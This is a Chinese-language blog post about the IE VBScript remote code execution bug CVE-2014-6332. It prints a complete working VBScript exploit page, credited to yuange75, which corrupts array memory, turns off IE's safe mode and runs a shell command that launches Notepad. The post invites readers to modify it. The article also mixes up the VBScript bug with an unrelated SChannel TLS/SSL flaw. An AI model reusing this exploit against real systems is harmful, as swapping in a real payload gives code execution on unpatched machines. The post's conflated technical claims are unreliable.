微軟本月安全更新修復了一個潛藏了19年的IE遠程代碼執行漏洞(CVE-2014-6332),可以說是給Windows跌了一個大跟斗。缺陷出現在VBScript的代碼中,自Windows 95首次發布(19年前)以來就一直存在,今天「暢想資源」就帶大家來看看這一已存在19年之久的IE遠程代碼超級漏洞的威力吧!
關於微軟安全補丁(實例及預覽見下方)
微軟披露了一個存在於所有Windows版本的高危漏洞。建議所有Windows用戶,尤其是執行網站的用戶應盡快安裝微軟周二發布的補丁
據微軟的公告稱,該高危漏洞存在於微軟的安全傳輸層協議(TLS)和安全套接層協議(SSL)中。因為它不能正確的過濾特殊形式的數據包,這就使得攻擊者可以向Windows伺服器發送惡意流量遠程執行攻擊代碼
Windows伺服器
雖然公告中指出的漏洞主要針對的是Windows伺服器,但是該遠程代碼漏洞對類Windows版本的伺服器和客戶端也同樣很危險,而且也有跡像表明它會對Windows台式機和平板電腦造成威脅。Qualys的工程師Amol Sarwate稱,如果用戶執行了監視網際網路埠和接受加密鏈接的軟件,那麼該漏洞就會使客戶端機器極易受到攻擊。例如,如果用戶電腦執行的是 Windows7系統,但安裝的卻是接受外部鏈接的FTP伺服器或者是客戶端上的Web伺服器,那麼它就很有可能面臨被攻擊的風險
TLS堆棧
從周二披露的漏洞中我們可以看出今年每個重要的TLS堆棧(包括蘋果secure transport、GNUTLS、OpenSSL、NSS和微軟SChannel)都存在嚴重的漏洞。我們知道有時候漏洞只會允許攻擊者繞過加密保護而不會造成太大的威脅,但是前段時間披露的OpenSSL中的heartbleed漏洞和周二打上補丁的Windows漏洞就不一樣了,攻擊者會利用它在受害者機器上竊取高度敏感信息並執行惡意代碼
微軟的公告中指出該漏洞沒有任何的緩和因素和變通方法。老版本和舊版本的Windows系統都有可能受到攻擊。公告中還指出,沒有證據表明地下工具漏洞利用程序是針對Windows用戶而開發的
建議
每個使用Windows電腦的用戶,尤其是執行Web和Email伺服器的用戶都需要立即安裝周二發布的補丁。為了您的安全請主動安裝補丁,不要風險執行電腦!
預覽:Win95+IE3至Win10+IE11全版本執行漏洞(自動打開例如「記事本」等程式)
點擊前往「預覽頁面」(請使用IE瀏覽器訪問!)
由於網站因此被報毒,故不再提供預覽!想要親身體驗者,可自己參考下列原始碼進行修改!
於Windows 2000下IE 5的效果
於Windows XP下IE 8的效果
歡迎大家提供於不同瀏覽器、系統下未安裝補丁時的效果!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 |
<!-- allie(Win95+IE3 - Win10+IE11) Bug Test Page. Made by: https://twitter.com/yuange75 http://hi.baidu.com/yuange1975 Edited By: http://www.arefly.com/ https://twitter.com/eflyjason --> <!DOCTYPE html> <html> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <head> </head> <body> <SCRIPT LANGUAGE="VBScript"> function runmumaa() On Error Resume Next set shell=createobject("Shell.Application") shell.ShellExecute "notepad.exe" end function </script> <SCRIPT LANGUAGE="VBScript"> dim aa() dim ab() dim a0 dim a1 dim a2 dim a3 dim win9x dim intVersion dim rnda dim funclass dim myarray Begin() function Begin() On Error Resume Next info=Navigator.UserAgent if(instr(info,"Win64")>0) then exit function end if if (instr(info,"MSIE")>0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) else exit function end if win9x=0 BeginInit() If Create()=True Then myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) if(intVersion<4) then document.write("<br> IE") document.write(intVersion) runshellcode() else setnotsafemode() end if end if end function function BeginInit() Randomize() redim aa(5) redim ab(5) a0=13+17*rnd(6) a3=7+3*rnd(5) end function function Create() On Error Resume Next dim i Create=False For i = 0 To 400 If Over()=True Then //document.write(i) Create=True Exit For End If Next end function sub testaa() end sub function mydata() On Error Resume Next i=testaa i=null redim Preserve aa(a2) ab(0)=0 aa(a1)=i ab(0)=6.36598737437801E-314 aa(a1+2)=myarray ab(2)=1.74088534731324E-310 mydata=aa(a1) redim Preserve aa(a0) end function function setnotsafemode() On Error Resume Next i=mydata() i=readmemo(i+8) i=readmemo(i+16) j=readmemo(i+&h134) for k=0 to &h60 step 4 j=readmemo(i+&h120+k) if(j=14) then j=0 redim Preserve aa(a2) aa(a1+2)(i+&h11c+k)=ab(4) redim Preserve aa(a0) j=0 j=readmemo(i+&h120+k) Exit for end if next ab(2)=1.69759663316747E-313 runmumaa() end function function Over() On Error Resume Next dim type1,type2,type3 Over=False a0=a0+a3 a1=a0+2 a2=a0+&h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1=1 ab(0)=1.123456789012345678901234567890 aa(a0)=10 If(IsObject(aa(a1-1)) = False) Then if(intVersion<4) then mem=cint(a0+1)*16 j=vartype(aa(a1-1)) if((j=mem+4) or (j*8=mem+8)) then if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if(vartype(aa(a1-1))<>0) Then If(IsObject(aa(a1)) = False ) Then type1=VarType(aa(a1)) end if end if end if end if If(type1=&h2f66) Then Over=True End If If(type1=&hB9AD) Then Over=True win9x=1 End If redim Preserve aa(a0) end function function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0)=0 aa(a1)=add+4 ab(0)=1.69759663316747E-313 ReadMemo=lenb(aa(a1)) ab(0)=0 redim Preserve aa(a0) end function </script> </body> </html> |